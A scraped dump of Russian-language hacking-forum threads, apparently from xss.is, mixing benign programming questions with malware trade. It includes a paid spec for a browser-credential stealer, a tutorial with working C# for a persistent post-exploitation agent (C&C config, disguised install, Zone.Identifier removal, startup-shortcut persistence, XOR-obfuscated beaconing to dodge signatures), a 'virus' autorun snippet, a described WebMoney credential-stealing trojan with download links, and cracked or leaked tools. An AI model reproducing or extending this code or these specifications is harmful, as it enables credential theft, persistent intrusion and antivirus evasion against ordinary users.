p.s. попросил почистить не за деньги, а по-братски)

написать стиллер
ID: 6765d804b4103b69df375a47
Thread ID: 38561
Created: 2020-06-18T09:15:52+0000
Last Post: 2020-07-02T16:15:52+0000
Author: orlandozzzz
Replies: 31 Views: 4K

Добрый день всем! Нужен кодер, который сможет собрать из паблика/гитхаба и откуда бы то ни было стиллер.
Никакие приватные решения не нужны. Просто хороший рантайт и возможность стиллинга с актуальных версий браузеров.

Бюджет 3000$. РАБОТА ИСКЛЮЧИТЕЛЬНО ЧЕРЕЗ ГАРАНТА

Вот ТЗ:

Описание:
Нерезидентный стиллер, написанный на C/C++.
Работа на 32/64 системах. Без зависимостей (особенно от .NET).
Файл на выходе - нативный, для простоты криптования.
Поддерживаемые ОС: все клиентские Windows от 7 по 10, все серверные Windows от 2008 до последней.

Функционал:
Сбор паролей, куки, форм авто-заполнения, истории со всех браузеров (актуальных версий конечно же)
основанных на Chronium, Mozilla, Gecko, Webkit, IE, Opera.
Сбор Outlook, Windows Mail, Windows Live Mail, The Bat с реестра.
Сбор Юзер-агента (язык, разрешение экрана и т.д.)
Всё это собирается в JSON, возможна конвертация в netscape.
Логи приходят (отстук) на гейт http/https.
Куки легко встравляются в браузер Linked-Sphere либо в спец-расширения для браузеров для работы с куками.
Граббер файлов каких бы то ни было - не нужен.

Админка как у азора/ракуна/крота/предатора/тауруса - стандартная вообщем.

Рантайм EXE стиллера должен быть максимально чистым, желательно не выше 2/23 по dyncheck.com

Если полностью обобщить всё ТЗ: современная пародия на легендарный стиллер AZORult,
способная стилить с актуальных версий браузеров. (без функции граббера чего либо).

На выходе: файлы админ панели для установки на хост, билдер для EXE, инструкция по установке на хост и работе с билдером.
В билдере необходим переключатель ON/OFF для параметра "отстук на VM" (если это сильно усложнит процесс - по умолчанию OFF).

Писать сюда: https://t.me/pyroblast_17

не могу компилировать код! помогите
ID: 6765d804b4103b69df375a75
Thread ID: 35637
Created: 2020-03-21T19:03:22+0000
Last Post: 2020-04-06T15:32:48+0000
Author: Fireman112
Replies: 11 Views: 4K

![](/proxy.php?image=https%3A%2F%2Fwww.enigmasoftware.com%2Fimages%2F2017%2Fnsa- hacking-tools-shadow-brokers- uncovered.jpg&hash=c86f23a98dfbba3501b6e35e90b37a36)
Привет всем не могу компилировать код. кто может помогать мне?:

Ссылка ^ https://github.com/TheSph1nx/SLICKERMASTER-REV4

имя программы: SLICKERMASTER- REV4 (NSA Hacking Tool Recreation UnitedRake)

может помочь: <https://www.hacking.reviews/2017/09/shadow-brokers-leaks- another-windows.html?m=1>​

Исходники для брута
ID: 6765d804b4103b69df375a98
Thread ID: 34369
Created: 2020-01-14T21:39:39+0000
Last Post: 2020-01-15T06:52:50+0000
Author: levivel
Replies: 2 Views: 4K

Доброго времени суток,
Интересуют какие-либо адекватные исходники для создания брута на плюсах или в крайнем случае на шарпе, можно даже на питоняге, но тогда в лс, дабы тут не сорить ) А то кипер заманал -_- а толкового ничего не нашел
В гугле не забинили, вместо попыток пошутить и набить сообщения лучше кинуть в меня хорошим линком)

Пишем собственный тулкит для точечных атак.
ID: 6765d804b4103b69df375ac4
Thread ID: 33443
Created: 2019-11-25T13:56:36+0000
Last Post: 2019-11-27T19:05:20+0000
Author: Paramedic
Prefix: Статья
Replies: 2 Views: 4K


Привет всем. Сегодня я покажу вам, как можно грамотно использовать .NET платформу для создания инструмента пост эксплуатации, который позволит полноценно отработать таргет и замести следы.
Думаю, у многих в голове сейчас пронеслась мысль: "А почему для данной задачи выбран именно дотнет?", приведу несколько плюсов:

- Среда CLR предоставляет функционал JIT компиляции, другими словами - компиляции кода на лету.
- MSIL код отлично морфится, и тяжело реверсится.
- Разработка на .NET платформе занимает меньше времени, является более удобной.

Click to expand...

Я уверен, что здесь найдутся те, кто начнёт рассказывать о зависимостях от .NET Framework, и прочем. Мы с вами живём в 2019 году, Windows XP отсутствует почти везде, эта операционная система в целом мертва.
Так-же для избежания длинного холивара я хочу подметить, что я не призываю читателей данной статьи спрыгивать на дотнет с нативных ЯП, не пытаюсь показать превосходство дотнета над другими ЯП.
Я считаю, что каждый ЯП должен быть предназначен для конкретного спектра задач, использоваться по назначению. Распределение задач должно быть равномерным и грамотным.

Давайте немного отстранимся от моего монолога и составим список функционала, который мы вложим в наш продукт:

- Стабильное закрепление в системе, относительная сложность деинсталяции неподготовленным юзером.
- Лоадер
- Выполнение CMD команд
- Полноценная модульная система. Поддержка модулей в формате .NET, PowerShell скриптов.

Click to expand...

Теперь приступим к кодингу. Создаём проект, тип проекта - консольное приложение. Версию .NET Framework, от которой будет зависеть проект - выбираем на свой вкус. Мне понравилась 3.5.
Проект создан, видим главную функцию - Main. Перед тем, как начать заполнять её контентом - давайте создадим несколько классов, в которых будут лежать воспомогательные функции,
которые понадобятся в процессе. Создаём 2 класса: Config.cs, Utils.cs.

Первый будет содержать конфигурацию, требуемую для корректной работы билда. Адрес C&C, прочие мелочи.
Второй будет хранить в себе набор некатегоризированных функций, которые потребуются для работы агента.

Начнём с заполнения Config.cs:

C#:Copy to clipboard

static public string CnCList = ""; // Список C&C, на которые будет стучать агент, разделяемых при помощи символа ;. Пример: http://command_server1.com/gate.php;https://command_server2.com/gate.php
static public string BuildID = "COMPANY_404"; // Идентификатор билда.
static public string DirectoryName = "FlashUpdater"; // Название директории, в которую будет установлен агент.

Теперь переходим к Utils.cs, начинаем заполнять его. Сперва - подключим юзинги, а далее приступим к реализации функций. Некоторые моменты я буду попутно комментировать:

C#:Copy to clipboard

using System.IO;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
using IWshRuntimeLibrary;

C#:Copy to clipboard

static private Random Rand = new Random();

static private string RandomString(int Count)
{
    string CharList = "abcdefghijklmnopqrstuvwxyz";
    char[] NewString = new char[Count];

    for (int i = 0; i < Count; i++)
    {
        NewString[i] = CharList[Rand.Next(CharList.Length)];
    }

    return new string(NewString);
}

static public string RandomProcessName()
{
    string ProcessName = "";

    try
    {
        Process[] ProcessList = Process.GetProcesses();
        List<string> ProcessNameList = new List<string>();

        foreach (Process Proc in ProcessList)
        {
            try
            {
                string ProcessFilePath = Process.MainModule.FileName;

                if (!ProcessFilePath.Contains("Windows") && !ProcessFilePath.Contains("ProgramData"))
                {
                    ProcessNameList.Add(Proc.ProcessName);
                }
            }
            catch {}
        }

        ProcessName = ProcesNameList[Rand.Next(ProcessNameList.Count)];
    }
    catch
    {
        ProcessName = RandomString(7);
    }

    return ProcessName + ".exe";
}

Далее мы реализуем функционал для удаления альтернативного потока ZoneID у дропнутого файла. Для этого мы будем использовать COM интерфейс IZoneIdentifier, предоставляющий такой функционал.
Дабы не тратить время зря, код мы возьмем отсюда и приведя его в нормальный вид вставим:

C#:Copy to clipboard

        public enum URLZONE
        {
            INVALID = -1,
            PREDEFINED_MIN = 0,
            LOCAL_MACHINE = 0,
            INTRANET = LOCAL_MACHINE + 1,
            TRUSTED = INTRANET + 1,
            INTERNET = TRUSTED + 1,
            UNTRUSTED = INTERNET + 1,
            PREDEFINED_MAX = 999,
            USER_MIN = 1000,
            USER_MAX = 10000
        }

        public enum STGM : long
        {
            READ = 0x00000000L,
            WRITE = 0x00000001L,
            READWRITE = 0x00000002L,
            SHARE_DENY_NONE = 0x00000040L,
            SHARE_DENY_READ = 0x00000030L,
            SHARE_DENY_WRITE = 0x00000020L,
            SHARE_EXCLUSIVE = 0x00000010L,
            PRIORITY = 0x00040000L,
            CREATE = 0x00001000L,
            CONVERT = 0x00020000L,
            FAILIFTHERE = 0x00000000L,
            DIRECT = 0x00000000L,
            TRANSACTED = 0x00010000L,
            NOSCRATCH = 0x00100000L,
            NOSNAPSHOT = 0x00200000L,
            SIMPLE = 0x08000000L,
            DIRECT_SWMR = 0x00400000L,
            DELETEONRELEASE = 0x04000000L
        }

        [ComImport]
        [Guid("0968e258-16c7-4dba-aa86-462dd61e31a3")]
        public class PersistentZoneIdentifier
        {
        }

        [ComImport]
        [Guid("cd45f185-1b21-48e2-967b-ead743a8914e")]
        [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        public interface IZoneIdentifier //: IUnknown
        {
            int GetId(out URLZONE pdwZone);
            int SetId(URLZONE dwZone);
            int Remove();
        }

        public static void RemoveZoneID(string FilePath)
        {
            IPersistFile PersistFile = null;
            IZoneIdentifier ZoneID = null;
            try
            {
                PersistFile = (IPersistFile)new PersistentZoneIdentifier();
                const int Mode = (int) (STGM.READWRITE | STGM.SHARE_EXCLUSIVE);
                URLZONE Zone;
         
                try
                {
                    PersistFile.Load(FilePath, Mode);
                    ZoneID = (IZoneIdentifier)PersistFile;
                    var getIdResult = ZoneID.GetId(out Zone);
                }
                catch (FileNotFoundException)
                {
                    Zone = URLZONE.LOCAL_MACHINE;
                }
                catch (UnauthorizedAccessException)
                {
                    Zone = URLZONE.INVALID;
                }
                if (Zone == URLZONE.LOCAL_MACHINE || Zone == URLZONE.INVALID)
                {
                    return;
                }

                var removeResult = ZoneID.Remove();

                PersistFile.Save(FilePath, true);
            }
            finally
            {

                if (PersistFile != null)
                {
                    Marshal.ReleaseComObject(PersistFile);
                }

                if (ZoneID != null)
                {
                    Marshal.ReleaseComObject(ZoneID);
                }
            }
        }

Настал момент реализовать персистентность нашему агенту. Она будет довольно простой, метод будет заключаться в том, что мы будем создавать ярлык в авторане, спать рандомное количество времени, и затем дропаться.
Заходим в меню Add References , добавляем Windows Script Host Object Model , пишем функцию для создания ярлыка с рандомным именем, описанием, и иконкой блокнота ( выбор автора ):

C#:Copy to clipboard

        static public void AddToAutorun(string FilePath)
        {
            try
            {
                WshShell Shell = new WshShell();
                string ShortcutPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + RandomString(Rand.Next(4, 16)) + ".lnk";
                IWshShortcut Shortcut = (IWshShortcut)Shell.CreateShortcut(ShortcutPath);
                Shortcut.Description = RandomString(Rand.Next(4, 24));
                Shortcut.TargetPath = FilePath;
                Shortcut.IconLocation = Environment.GetEnvironmentVariable("WINDIR") + "\\notepad.exe";
                Shortcut.Save();
            }
            catch
            {
                throw new Exception("Can't create file shortcut");
            }
        }

Возвращаемся в главную функцию нашей программы, зараннее добавив в Add References System.Windows.Forms, и заполняем её:

C#:Copy to clipboard

            string InstallDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + Config.DirectoryName;

            if (Application.ExecutablePath.Contains(InstallDirectory))
            {
                MessageBox.Show("It works!");
            }
            else
            {
                if (Directory.Exists(InstallDirectory))
                {
                    Environment.Exit(0);
                }

                string InstallPath = InstallDirectory + "\\" + Utils.RandomProcessName();

                try
                {
                    Utils.AddToAutorun(InstallPath);
                    Thread.Sleep(Utils.Rand.Next(6000, 21000));
                    Directory.CreateDirectory(InstallDirectory);
                    File.Copy(Application.ExecutablePath, InstallPath);
                    Utils.RemoveZoneID(InstallPath);
                }
                catch { }

Теперь давайте я расскажу о модели общения с админкой. Я решил не заморачиваться с использованием в качестве C&C различных извращений, по типу гугл диска, сделав простой отстук по http протоколу.
Мы не будем так-же извращаться с протоколом общения с админкой, использоваться будen банальные делимитеры. Траффик будет шифроваться посредством кастомной реализации XOR'a, с использованием рандомного ключа для каджого запроса, а затем крыться base64.
Благодаря этому траффик будет выглядеть полиморфным, и на него нельзя будет поставить чёткую сигнатуру. ( Каждый запрос будет выглядеть уникально. )
Это будет работать за счёт того, что гейту будет передаваться GET параметр k, который будет содержать в себе ключ по которому зашифрована строка.
Приведу небольшой пример реализации:

Есть строка - "hello, xss". Мы шифруем её при помощи XOR'a. Далее - мы конкатенируем её с ключом, длина ключа - статическая, 6 символов, попутно шифруя уже зашифрованную строку этим ключём. Выходит строка: keykeyencrypted ( keykey-ключ, encrypted - данные ), поставь чёткую сигнатуру на тело запроса в таком случае не выйдет.

Перейдём в Utils.cs и напишем функцию для шифрования строк:

C#:Copy to clipboard

        static public string XOR(string StringToEncrypt, string Key)
        {
            string BStringToEncrypt = Convert.ToBase64String(Encoding.Unicode.GetBytes(StringToEncrypt));
            char[] EncryptedString = new char[BStringToEncrypt.Length];

            for (int i = 0; i < BStringToEncrypt.Length; i++)
            {
                EncryptedString[i] = (char)(BStringToEncrypt[i] ^ Key[i % Key.Length]);
            }

            return Convert.ToBase64String(Encoding.Unicode.GetBytes(EncryptedString));
        }

На этом - первая часть данной статьи подходит к концу. В следующих частях мы реализуем сетевой функционал агента, научим его получать информацию об окружении, в котором он запущен, и наконец таки реализуем виртуальную файловую систему в реестре + модульность, прочие мелочи.

Так-же хочу добавить, что админка прилагаться к данному материалу - не будет. Желающие смогут модифицировать данный макет под себя, переписав некоторые аспекты, и затем написав админ панель.

BTC - 3QSPCurAEUxEDAdnpyAd7GgYBw3ZoH3oSM
ETH - 0x6965c8e0830127afa88f23659b8b3e19a2e3d096
© Eternal , специально для xss.is.

[в целях безопасности )] Легкое добавление вируса в автозапуск и его открытие | C#
ID: 6765d804b4103b69df375adb
Thread ID: 30121
Created: 2019-07-02T10:27:03+0000
Last Post: 2019-10-05T20:24:16+0000
Author: Smokezwlan
Replies: 6 Views: 4K

C#:Copy to clipboard

private void Form1_Load(object sender, EventArgs e)
        {
            string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); //appdata
            string fileName = Process.GetCurrentProcess().MainModule.FileName; //текущее название исполняемого файла
            string filename1 = "file"; // название файла после сохранения   
            string directory = @"\Microsoft\Windows\Start Menu\Programs\Startup\";
            string pathFile = folderPath + directory + filename1 + @".exe";
            if (System.IO.File.Exists(pathFile))
            {

            }
            else
            {
                FileInfo fileInfo = new FileInfo(fileName);
                fileInfo.CopyTo(string.Concat(folderPath, directory + filename1 + @".exe"), true);

            }
        }

Принцип: Запускается файл, в независимости от того, переименован ли он был, он переносится в %appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Название файла.exe (Автозапуск). Если файл есть - ничего не происходит.
Просто выкладываю мой способ, жду критики, хочу улучшить код.

помогите подюниору (java)
ID: 6765d804b4103b69df375af3
Thread ID: 30003
Created: 2019-06-27T03:52:17+0000
Last Post: 2019-07-19T21:30:39+0000
Author: lisnikita666
Replies: 4 Views: 4K

Доброе время суток ребята, всегда нравилось программирование и интересовало написание приложений и кода ( но из за постоянных разных зарабатков и всякой хрени не мог дать себе такое время на образование ) и вот в 25 лет)) Я пошел на курсы, и меня засосало, но нужна помощь, можете скинуть книжек по обучению , либо по написанию кода, может уроки ( ютуб ) какие есть нужны? Кто сам изучал , как делал? Всем удачи!)

Бесплатные протекторы C# (Themida, ConfuserEx, Appfuscator)
ID: 6765d804b4103b69df375af8
Thread ID: 30277
Created: 2019-07-08T14:14:33+0000
Last Post: 2019-07-12T12:11:29+0000
Author: AlexLES
Replies: 5 Views: 4K

Оставлю здесь, может кому пригодиться. На все упомянутые протекторы уже есть распаковки, но от ламеров которые страждут изучить ваш код поможет.

Themida - коммерческий продукт, использует много способов протекции вашего приложения (в том числе виртуализация). Долго искал крякнутую версию, последнюю которую нашел 2.4.6.0.
[CLIKE]Скачать Themida 2.4.6.0 (Crack)[/CLIKE]
ConfuserEx - бесплатный протектор с открытым исходным кодом (скачать с GitHub), позволяет подгружать плагины, а так же компилировать свои модификации. Одну из таких модифицированных сборок нашел на одном из соседних форумов.
[CLIKE][Скачать ConfuserEx Modded](https://mega.nz/#!1WoxQSKb!nGlDohuo9uQolEcrUAJePhx4zr6YU2qcif- _e7juB1k)[/CLIKE]
Appfuscator - бесплатный протектор, позволяет бесплатно воспользоваться прямо на сайте (http://appfuscator.com/ru/obfuscation/).

Любую защиту можно взломать, вопрос лишь состоит в затраченных средств и времени. При применение некоторых инструментов ваша программа может начать детектиться антивирусом. Лучше всего для качественного скрытия вашего кода выносить его часть на сервер.

Windows 10 Source Code - Leak
ID: 6765d804b4103b69df375afc
Thread ID: 29920
Created: 2019-06-22T14:33:10+0000
Last Post: 2019-06-25T17:08:00+0000
Author: NyanCat
Replies: 6 Views: 4K

Заголовок для поисковика :D

Итак все помнят ту самую утечку > **habr **< я на этой недельке задался поиском и результат ниже.


Структура папок с кодом кита > CLICK <

You must have at least 100 message(s) to view the content.

Инжект кода x32->x64
ID: 6765d804b4103b69df375b02
Thread ID: 29025
Created: 2019-04-28T09:41:02+0000
Last Post: 2019-05-02T12:15:49+0000
Author: Luciferus
Replies: 14 Views: 4K

Всем привет. В поисках рабочей реализации сабжа. Тестил либу револьфа, на последних ОС не пашет :C

Генератор времязатратных функций для чистки рантайма
ID: 6765d804b4103b69df375b0a
Thread ID: 28390
Created: 2019-03-24T01:42:21+0000
Last Post: 2019-03-25T20:05:10+0000
Author: LoveNikki
Replies: 9 Views: 4K

по итогу функция занимает секунд 5-20 и генерирует число возвращая его в char*
функция времязатратная, но и антивирус её не проскипает т.к. она используется для генерации ключа,
генератор сам и обрабатывает функцию показывая вам ключ в виде набора чисел.

You must have at least 29 reaction(s) to view the content.

Помощь с основами в IT пространстве
ID: 6765d804b4103b69df375b0b
Thread ID: 28284
Created: 2019-03-14T17:05:31+0000
Last Post: 2019-03-22T04:06:12+0000
Author: shami#9.1.3
Replies: 6 Views: 4K

Решил разобраться с программированием и всем из него вытекающим, и так как я честно говоря вообще ноль в этом, нужна помощь знающих людей, с чего начать ? Какие источники использовать ? Как учились вы? ( Вопрос скорее к тем, кто учился самостоятельно,а не по университетской программе ) Заранее благодарен)

Анси и вайд функции винапи
ID: 6765d804b4103b69df375b11
Thread ID: 27211
Created: 2019-01-09T17:54:29+0000
Last Post: 2019-02-08T15:37:18+0000
Author: codedivision
Replies: 17 Views: 4K

Использую в кодинге, как и большиство, анси функции винапи.
Знакомый кодер использует вайд функции, с его слов анси поддерживает только стандартную кодировку винды, а вайд как юникод иероглифы. Подтверждение этого (как и вообще какой-то информации об этом) найти не удалось.

Написал софт для теста, состоящий из следующих вайд функций винапи WriteFile, CreateFileW, CloseHandle, ExitProcess, InternetOpenW, InternetOpenUrlW, InternetReadFile, InternetCloseHandle, ShellExecuteW.
Скомпилировал, запустил - не работает
Изменил на анси CreateFileA, InternetOpenA, InternetOpenUrlA, ShellExecuteA - работает.

Предполагаю, что ошибка в кодировке системы. Но винда поддерживает только перевод основных интерфейсов, кодировка все равно будет стандартная.

Пишу на асме, мой компилятор не должен автоматически распределять анси и вайд функции.

Алгоритмические трюки для программистов
ID: 6765d804b4103b69df375b2c
Thread ID: 25365
Created: 2014-08-20T13:07:29+0000
Last Post: 2014-08-20T13:07:29+0000
Author: Quake3
Prefix: Мануал/Книга
Replies: 0 Views: 4K

Достаточно необычная книга, хотя, наверное, будет интересна узкому кругу лиц. В книге есть множество приемов для работы с отдельными битами, байтами, вычисления различных целочисленных функций; большей части материала сопутствует строгое математическое обоснование. Книга, вероятно, будет интересна тем кто кодит на Асме, разработчикам компиляторов и так далее.

Скачать:
_http://rutracker.org/forum/viewtopic.php?t=532864
_http://rutracker.org/forum/viewtopic.php?t=3292966

удалить самого себя (exe)
ID: 6765d804b4103b69df375b49
Thread ID: 22396
Created: 2011-11-13T05:02:43+0000
Last Post: 2011-12-06T16:32:56+0000
Author: at0m
Replies: 19 Views: 4K

Всем привет нужен метод самоудаления exe файла когда он запущен без использования (там без всяких батников,реестра, shellexecude + notify, инжектов в процесс и прочей ерести).
На примете пока MoveFileExW(pszwMyExistExe,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
и вообще существуют методы ?

101 C# samples
ID: 6765d804b4103b69df375b51
Thread ID: 16579
Created: 2009-01-03T15:45:37+0000
Last Post: 2011-03-11T16:17:51+0000
Author: Martyr
Replies: 5 Views: 4K

Это набор примеров демонстрирующих реализации различных программ с помощью Visual Studio 2005(2008),еще существует вариант таких же примеров для Visual Basic .NET.Более подробно информацию смотрите здесь:

Spoiler: 3 у вас 43

http://msdn.microsoft.com/en-us/vs2005/aa718334.aspx

Сорцы Кашпера
ID: 6765d804b4103b69df375b52
Thread ID: 21049
Created: 2011-01-27T23:09:59+0000
Last Post: 2011-03-11T16:16:27+0000
Author: karabas-barabas
Replies: 13 Views: 4K

Забираем сабж

Spoiler: 2

http://www.mlfat4arab.com/xdfzxiz0t0fr/KASPERSKY.AV.2008.SRCS.ELCRABE.RAR.html

и клепаем свою партнерку по фэйк-АВ :rolleyes:

Завершение защищенных процессов
ID: 6765d804b4103b69df375b53
Thread ID: 21169
Created: 2011-02-22T14:46:49+0000
Last Post: 2011-02-26T07:03:28+0000
Author: greenzy
Replies: 17 Views: 4K

Привет всем! По ссылке лежит кодес позволяющий прибивать защищенные процессы (процессы антируткитов, антвирусов, etc). Ищет адрес функции PsTerminateProcess и вызывает ее. Стабильно работает на xp sp3.
Бинарник

MASM Исходники WM Inside 1.0
ID: 6765d804b4103b69df375b57
Thread ID: 18713
Created: 2009-12-15T23:04:55+0000
Last Post: 2010-12-06T19:36:46+0000
Author: DeusTirael
Replies: 6 Views: 4K

Получены с помощью IDA
Только под кипер < 3.8.0.0
Сталобыть для боевых операций не годится.
Только для ознакомления.
Код слегка приведен в порядок.

http://www.sendspace.com/file/80nmim
http://www.filefactory.com/file/a11c043/n/vpablik.rar

Пароль: xss.is/_4hv6y9v56hn9f85h6938h

WM Inside

WebMoney Grabbing System

Программа предназначена для получения доступа к счетам пользователей WebMoney Keeper Classic.

При авторизации пользователя в системе (входе в кипер) программа грабит все необходимые авторизационные данные и отсылает на сервер. Никаких подмен номеров кошельков в буфере обмена, распознавания капч, программного нажатия кнопок, социнженерии и прочих "детских" методов. Вы сами сольете титульные знаки, когда посчитаете нужным. Не требуется доступ к мылу пользователя для активации. Всю необходимую инфу об оборудовании и системе пользователя трой собирает и отправляет на сервер.
Написан на ассемблере. Размер билда: 9 кБ несжатый.
Каждый билд криптуется уникальным ключем. (В будующем планируется полиморф).
Работа троя невидима для фаерволлов. (KIS 2009, OutPost, ZoneAlarm, возможно другие).
Не детектируется антивирусами. (VirusTotal: 0/39).

Работа происходит следующим образом.
После запуска ЕХЕ, дроппер устанавливает трой в систему (при наличии в ней WebMoney Keeper Classic) и самоудаляется. При следующем входе пользователя в систему WebMoney (при вводе WMID и пароля) трой отправляет сграбленную инфу на сервер, после чего самоудаляется.
К трою прилагаются скрипты: сборщик отчетов и просмотр отчетов в онлайн. Скрипты на PHP, БД не требуется.

Сграбленная инфа отображается в Online Log-Viewer'e по каждому ВМИДу, непосредственно оттуда она может импортироваться методом Copy+Paste в клиент (либо можно скачать и сохранить в файл).
Клиент представляет собой приложение, предназначенное для запуска из-под него Кипера с целью подмены в нем данных на нужные (сграбленные). Клиент запускает Кипер и производит необходимые изменения в памяти процесса Кипера, в результате чего Кипер передает на сервер ВМ не реальную информацию, а ту инфу, которую трой сграбил на машине пользователя (системная инфа и инфа об оборудовании). Этим достигается "прозрачный" вход на счет пользователя без необходимости активации оборудования по мылу или телефону. Клиент имеет приятный и интуитивно понятный графический интерфейс, работа с ним осуществляется "в два клика" - Log-Viewer: Ctrl+C; Client: "Import",Ctrl+V,"Run Keeper" - и Вы уже на нужном счете.
Клиент с Кипером можно запускать и на виртуальной машине - поскольку инфа об оборудовании подменяется, сервер WebMoney не узнает, что Кипер запущен на виртуальной машине.
Важная особенность - клиент имеет возможность соксификации Кипера. Для этого используется прокси-движок известной программы FreeCap. Вам не нужно запускать Кипер из FreeCap'a, в клиенте включаете опцию "Use FreeCap" и при запуске Кипера его соединения будут пущены через сокс, задаваемый в FreeCap'e (а в нем можно задавать как Socks 4/5, HTTP Proxy с авторизацией или без, так и цепочки из соксов). Поскольку Кипер передает на сервер локально определяемый IP адрес, то рекомендуется также использовать VPN (а также для безопасности). Сграбленная инфа может импортироваться и экспортироваться в/из клиент(а) как в виде текста (непосредственно из Log- Viewer'a), так и в виде файла, который может быть скачан из того же Log- Viewer'a или сохранен из клиента.
Работает с Кипером версии 3.7.0.0 (текущий), 3.6.0.6 (предыдущий), возможно и с другими (тестировалась только с указанными).

Click to expand...

PE loader сорц
ID: 6765d804b4103b69df375b67
Thread ID: 16128
Created: 2008-10-31T09:11:06+0000
Last Post: 2009-05-06T21:00:18+0000
Author: karabas-barabas
Replies: 5 Views: 4K

собсно сабж , _http://hellknights.void.ru/uploads/peloader.cpp кроме этой ссылы
ничо нормального не удалось найти, но он очень кривой из всех екзешников удалось запустить тока calc.exe
мож у кого есть подобное чудо ? :o

Поиск текста в файлах
ID: 6765d804b4103b69df375b77
Thread ID: 13933
Created: 2006-12-03T09:40:25+0000
Last Post: 2006-12-07T19:34:05+0000
Author: WebSerGe
Replies: 8 Views: 4K

Помогите, пожалуйста, с исходниками на с++ поиска текста в файлах с различными кодировками.
Или мануалами.

Анализ стека
ID: 6765d804b4103b69df375b7b
Thread ID: 13928
Created: 2006-12-03T08:52:33+0000
Last Post: 2006-12-03T12:38:56+0000
Author: Great
Replies: 4 Views: 4K

Article: Анализ стека
Author: Great
Date: 12.08.2006/3.12.2006
Theme: Coding/Reversing
Lang.: C/C++
Base: -
Note: Статья рассчитана знающих язык С++, программирующих на Win32 API и знающих основы вызова функций в ассемблере.

I. Кручу-верчу, раскрутить хочу
Вероятно, ты не раз видел во всяких полезных утилитах вроде отладчика или просмотрщика процессов одну полезную функцию - раскрутка стека. Если нет - поясню, что это такое. При вызове функции командой CALL в стеке сохраняется адрес возврата, который потом снимается оттуда командой RET. Проанализировав стек потока, можно узнать, каким путем и через какие вызовы выполнение добралось до текущей точки. Такая полезная возможность есть, например, в Process Explorer'е от небезызвестного Марка Руссиновича или, например, во встроенном отладчике в MS Visual Studio. Обычно, формат выводимой информации таков:
имя_модуля!имя_функции + смещение [аргументы]
Насчет аргументов. По идее, в стек запихиваются и переданные в функцию аргументы, поэтому можно при анализе стека еще и показывать аргументы. Правда, нигде не сохраняется информация об их размере, потому что вызываемая программа обычно знает размер своих аргументов. Но так как большая часть всех аргументов имеет размер 32 бита или 4 байта (это, например, int, long, enum, bool, все указатели и еще некоторые типы), это не большая проблема.)
Попробуем и мы реализовать такую штуку, тем более, что это не сложно.

II. Инструменты
Для работы с именами функций и модулями мы будем использовать библиотеку DBGHELP.DLL, входящую в базовый комплект поставки детища дяди Билла. (По странной причине я не обнаружил в MS VC++ 6.0 к ней библиотеки импорта, хотя хидер там был - чудеса :). Пришлось спереть либу из masm32.) В ней для нас полезны следующие функции:
SymInitialize: Подготовка процесса к работе с символами

Code:Copy to clipboard

BOOL SymInitialize(
  HANDLE hProcess,            // хендл процесса
  PSTR UserSearchPath,        // путь поиска. Ставим ноль в надежде, что все окажется в одном каталоге
  BOOL fInvadeProcess         // указан ли верный хендл процесса. Если FALSE, то вместо hProcess можно передать любое другое число, идентифицирующее процесс, например, его ID. Мы честно передаем хендл и ставим TRUE
);

Функция возвращает булево значение, означающее успешность выполнения.

SymGetSymFromAddr: Возвращает имя функции и ее стартовый адрес по адресу какого-то, принадлежащего ей, байта.

Code:Copy to clipboard

BOOL SymGetSymFromAddr(
  HANDLE hProcess,             // хенлд процесса
  DWORD Address,               // адрес для исследования
  PDWORD Displacement,         // сюда запишут смещение адреса от стартового
  PIMAGEHLP_SYMBOL Symbol      // сюда запишут инфу о функции, в т.ч. ее адрес и имя
);

Формат структуры IMAGEHLP_SYMBOL таков:

Code:Copy to clipboard

typedef struct _IMAGEHLP_SYMBOL {
  DWORD SizeOfStruct;      // размер структуры
  DWORD Address;        // адрес
  DWORD Size;                  // размер
  DWORD Flags;                 // зарезервировано
  DWORD MaxNameLength;     // макс. длина имени
  CHAR  Name[1];        // имя
} IMAGEHLP_SYMBOL, *PIMAGEHLP_SYMBOL;

Т.к. длина имени может варьироваться, то выделять память под него должна вызывающая программа. Проще выделить память для всей структуры разом:

Code:Copy to clipboard

BYTE lpMemory[256];
IMAGEHLP_SYMBOL* sym = (IMAGEHLP_SYMBOL*)lpMemory;

Функция возвращает булево значение, означающее успешность выполнения.

SymGetModuleBase: возвратить базовый адрес загрузки модуля по адресу какого- то его байта

Code:Copy to clipboard

DWORD SymGetModuleBase(
  HANDLE hProcess,        // хендл процесса
  DWORD dwAddr                 // адрес байта
);

Для инициализации DBGHELP.DLL понадобятся SymSetOptions().

Code:Copy to clipboard

DWORD SymSetOptions(
  DWORD SymOptions  
);

Опции могут быть следующими:
SYMOPT_CASE_INSENSITIVE Поиск имен ведется без учета регистра символов
SYMOPT_UNDNAME Все имена представлены в обычном виде (без постфиксов @N, характерных для соглашения вызова stdcall)
SYMOPT_DEFERRED_LOADS Имена не загружаются, пока не возникнет ссылка на них. Это наиболее быстрый способ использования имен.
SYMOPT_NO_CPP Во всех именах C++, содержащих '::', будет произведена замена на '__'
SYMOPT_LOAD_LINES Загрузить информацию о номерах строк

Так же нам понадобится стандартная API GetModuleFileName()
III. Кодинг
Первое, что мы напишем, будет функция получения имени функции и ее стартового адреса - оболочка для SymGetSymFromAddr.
Сначала надо проинициализировать процесс. Мы вызовем SymSetOptions и укажем DBGHELP.DLL производить отложенную загрузку и раздекорировать имена.
Далее мы выделим память для структуры IMAGEHLP_SYMBOL и вызовем SymGetSymFromAddr.
Итак,

Code:Copy to clipboard

/* GetProcBaseAddressAndName()
 *
 * Описание
 *  Функция возвращает стартовый адрес функции и ее имя по переданному адресу (адрес может и не указывать на
 *  начало функции).
 *
 * Параметры
 *	hProcess	хендл процесса
 *	dwAddress	адрес
 *	lpdwBase	адрес переменной, куда будет записан стартовый адрес
 *	lpszProcName строка, куда будет записано имя функции
 *	nSize  длина этой строки
 *
 * Возвращаемое значение
 *  TRUE, если поиск удался, в противном случае - FALSE
 */
BOOL GetProcBaseAddressAndName(HANDLE hProcess, DWORD dwAddress, LPDWORD lpdwBase, LPDWORD lpdwOffset, LPTSTR lpszProcName, DWORD nSize)
{
	// Иницаализация процесса 
	SymSetOptions(SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS);
